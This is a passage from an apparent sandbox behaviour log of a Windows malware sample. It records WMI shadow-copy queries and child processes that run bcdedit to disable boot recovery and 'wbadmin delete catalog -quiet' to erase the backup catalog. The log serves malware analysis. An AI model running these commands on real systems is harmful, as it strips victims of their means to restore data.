Win32_ShadowCopy") returned 0x1e [0275.690] SysStringLen (param_1="") returned 0x0 [0275.690] free (_Block=0x12ccd0) [0275.690] malloc (_Size=0x18) returned 0x12ccd0 [0275.690] IWbemServices:ExecQuery (in: This=0x1e93c18, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x24f9e8 | out: ppEnum=0x24f9e8*=0x1e93d18) returned 0x0 [0278.906] free (_Block=0x12ccd0) [0278.906] CoSetProxyBlanket (pProxy=0x1e93d18, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0278.909] IEnumWbemClassObject:Next (in: This=0x1e93d18, lTimeout=-1, uCount=0x1, apObjects=0x24f9f0, puReturned=0x24fa00 | out: apObjects=0x24f9f0*=0x0, puReturned=0x24fa00*=0x0) returned 0x1 [0278.910] IUnknown:Release (This=0x1e93d18) returned 0x0 [0278.910] ??1CHString@@QEAA@XZ () returned 0x7fef92b482c [0278.910] free (_Block=0x12cc10) [0278.911] free (_Block=0x12cbb0) [0278.911] GetCurrentThreadId () returned 0x6d8 [0278.911] ??0CHString@@QEAA@PEBG@Z () returned 0x24fbc8 [0278.911] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x24fbc8 [0278.911] malloc (_Size=0x800) returned 0x12ce50 [0278.911] LoadStringW (in: hInstance=0x0, uID=0xb3bc, lpBuffer=0x12ce50, cchBufferMax=1024 | out: lpBuffer="No Instance(s) Available.\r\n") returned 0x1b [0278.911] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="No Instance(s) Available.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0278.911] malloc (_Size=0x1c) returned 0x12cdd0 [0278.911] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="No Instance(s) Available.\r\n", cchWideChar=-1, lpMultiByteStr=0x12cdd0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="No Instance(s) Available.\r\n", lpUsedDefaultChar=0x0) returned 28 [0278.911] fprintf (in: _File=0x7fefde42ab0, _Format="%s" | out: _File=0x7fefde42ab0) returned 27 [0278.912] fflush (in: _File=0x7fefde42ab0 | out: _File=0x7fefde42ab0) returned 0 [0278.912] free (_Block=0x12cdd0) [0278.912] free (_Block=0x12ce50) [0278.912] ??1CHString@@QEAA@XZ () returned 0x585eb001 [0278.912] WbemLocator:IUnknown:Release (This=0x1e93c18) returned 0x0 [0278.912] ?Empty@CHString@@QEAAXXZ () returned 0x7fef92b482c [0278.912] _kbhit () returned 0x0 [0278.914] free (_Block=0x126e20) [0278.914] free (_Block=0x12cab0) [0278.914] free (_Block=0x12ca90) [0278.914] free (_Block=0x12ca70) [0278.914] free (_Block=0x12ca50) [0278.914] free (_Block=0x126e90) [0278.914] free (_Block=0x12cb50) [0278.914] free (_Block=0x128600) [0278.914] free (_Block=0x12cbd0) [0278.914] free (_Block=0x12cd50) [0278.914] free (_Block=0x12cb70) [0278.914] free (_Block=0x12cbf0) [0278.914] free (_Block=0x126ec0) [0278.914] free (_Block=0x126d00) [0278.914] free (_Block=0x12cda0) [0278.914] ?Empty@CHString@@QEAAXXZ () returned 0x7fef92b482c [0278.914] free (_Block=0x12cd20) [0278.914] free (_Block=0x12caf0) [0278.914] free (_Block=0x12cb10) [0278.915] free (_Block=0x1263e0) [0278.915] free (_Block=0x126430) [0278.915] free (_Block=0x126480) [0278.915] free (_Block=0x12cad0) [0278.915] free (_Block=0x126520) [0278.915] free (_Block=0x126ce0) [0278.915] free (_Block=0x128040) [0278.915] free (_Block=0x1268c0) [0278.915] free (_Block=0x128000) [0278.915] free (_Block=0x126860) [0278.915] free (_Block=0x126880) [0278.915] free (_Block=0x126740) [0278.915] free (_Block=0x126760) [0278.915] free (_Block=0x1266e0) [0278.915] free (_Block=0x126700) [0278.915] free (_Block=0x1267a0) [0278.915] free (_Block=0x1267c0) [0278.915] free (_Block=0x126800) [0278.915] free (_Block=0x126820) [0278.915] free (_Block=0x126620) [0278.915] free (_Block=0x126640) [0278.915] free (_Block=0x1265c0) [0278.915] free (_Block=0x1265e0) [0278.915] free (_Block=0x126680) [0278.915] free (_Block=0x1266a0) [0278.915] free (_Block=0x126560) [0278.915] free (_Block=0x126580) [0278.915] free (_Block=0x1264d0) [0278.916] free (_Block=0x127f90) [0278.916] free (_Block=0x126d90) [0278.916] WbemLocator:IUnknown:Release (This=0x1e81390) returned 0x2 [0278.916] WbemLocator:IUnknown:Release (This=0x1e93b28) returned 0x0 [0278.916] WbemLocator:IUnknown:Release (This=0x1e93a98) returned 0x0 [0278.917] WbemLocator:IUnknown:Release (This=0x1e81390) returned 0x1 [0278.917] ?Empty@CHString@@QEAAXXZ () returned 0x7fef92b482c [0278.917] WbemLocator:IUnknown:Release (This=0x1e81390) returned 0x0 [0278.917] free (_Block=0x12c9d0) [0278.917] free (_Block=0x12c9f0) [0278.917] free (_Block=0x128540) [0278.917] free (_Block=0x12ca10) [0278.917] free (_Block=0x12ca30) [0278.917] free (_Block=0x128580) [0278.917] free (_Block=0x12c850) [0278.917] free (_Block=0x12c870) [0278.917] free (_Block=0x1283c0) [0278.917] free (_Block=0x12c890) [0278.917] free (_Block=0x12c8b0) [0278.917] free (_Block=0x128400) [0278.917] free (_Block=0x12c7d0) [0278.917] free (_Block=0x12c7f0) [0278.917] free (_Block=0x128340) [0278.917] free (_Block=0x12c810) [0278.917] free (_Block=0x12c830) [0278.917] free (_Block=0x128380) [0278.917] free (_Block=0x12c950) [0278.917] free (_Block=0x12c970) [0278.918] free (_Block=0x1284c0) [0278.918] free (_Block=0x12c990) [0278.918] free (_Block=0x12c9b0) [0278.918] free (_Block=0x128500) [0278.918] free (_Block=0x12c750) [0278.918] free (_Block=0x12c770) [0278.918] free (_Block=0x1282c0) [0278.918] free (_Block=0x12c790) [0278.918] free (_Block=0x12c7b0) [0278.918] free (_Block=0x128300) [0278.918] free (_Block=0x12c8d0) [0278.918] free (_Block=0x12c8f0) [0278.918] free (_Block=0x128440) [0278.918] free (_Block=0x12c910) [0278.918] free (_Block=0x12c930) [0278.918] free (_Block=0x128480) [0278.918] free (_Block=0x12c690) [0278.918] free (_Block=0x12c6b0) [0278.918] free (_Block=0x128200) [0278.918] free (_Block=0x12c550) [0278.918] free (_Block=0x12c570) [0278.918] free (_Block=0x1280c0) [0278.918] free (_Block=0x126d50) [0278.918] free (_Block=0x126d70) [0278.919] free (_Block=0x128080) [0278.919] free (_Block=0x12c5d0) [0278.919] free (_Block=0x12c5f0) [0278.919] free (_Block=0x128140) [0278.919] free (_Block=0x12c6d0) [0278.919] free (_Block=0x12c6f0) [0278.919] free (_Block=0x128240) [0278.919] free (_Block=0x12c590) [0278.919] free (_Block=0x12c5b0) [0278.919] free (_Block=0x128100) [0278.919] free (_Block=0x12c610) [0278.919] free (_Block=0x12c630) [0278.919] free (_Block=0x128180) [0278.919] free (_Block=0x12c650) [0278.919] free (_Block=0x12c670) [0278.919] free (_Block=0x1281c0) [0278.919] free (_Block=0x12c710) [0278.919] free (_Block=0x12c730) [0278.919] free (_Block=0x128280) [0278.919] CoUninitialize () [0279.138] exit (_Code=0) [0279.138] free (_Block=0x1285c0) [0279.138] free (_Block=0x127c20) [0279.138] ??1CHString@@QEAA@XZ () returned 0x7fef92b482c [0279.138] free (_Block=0x126e40) [0279.138] free (_Block=0x126540) [0279.138] free (_Block=0x127be0) [0279.139] free (_Block=0x127ba0) [0279.139] free (_Block=0x127b50) [0279.139] free (_Block=0x127b10) [0279.139] free (_Block=0x127ab0) [0279.139] free (_Block=0x125a90) [0279.139] free (_Block=0x125a50) [0279.139] ??1CHString@@QEAA@XZ () returned 0x7fef92b482c [0279.139] free (_Block=0x12cb30) Thread: id = 199 os_tid = 0x538 Thread: id = 200 os_tid = 0x7f0 Thread: id = 205 os_tid = 0xc0 Thread: id = 206 os_tid = 0x494 Thread: id = 207 os_tid = 0x7bc Thread: id = 208 os_tid = 0x6e4 Process: id = "24" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x58add000" os_pid = "0x6a4" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "21" os_parent_pid = "0x254" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0003a077" [0xc000000f] Thread: id = 213 os_tid = 0x664 Thread: id = 215 os_tid = 0x4c0 Thread: id = 216 os_tid = 0x7a0 Thread: id = 217 os_tid = 0x330 Thread: id = 218 os_tid = 0x660 Thread: id = 219 os_tid = 0x7b4 Thread: id = 220 os_tid = 0x110 Thread: id = 226 os_tid = 0xd0 Process: id = "25" image_name = "bcdedit.exe" filename = "c:\\windows\\system32\\bcdedit.exe" page_root = "0x56fd0000" os_pid = "0x394" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x5fc" cmd_line = "bcdedit /set {default} bootstatuspolicy ignoreallfailures" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea12" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 221 os_tid = 0x744 Process: id = "26" image_name = "bcdedit.exe" filename = "c:\\windows\\system32\\bcdedit.exe" page_root = "0x576d9000" os_pid = "0x2ac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x5fc" cmd_line = "bcdedit /set {default} recoveryenabled no" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea12" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 222 os_tid = 0x6e0 Process: id = "27" image_name = "wbadmin.exe" filename = "c:\\windows\\system32\\wbadmin.exe" page_root = "0xb4df000" os_pid = "0x734" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x5fc" cmd_line = "wbadmin delete catalog -quiet" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea12" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 223 os_tid = 0x144 Thread: id = 224 os_tid = 0x69c Thread: id = 225 os_tid = 0xcc Thread: id = 228 os_tid = 0xd8 Thread: id = 229 os_tid = 0xdc Thread: id = 230 os_tid = 0xe0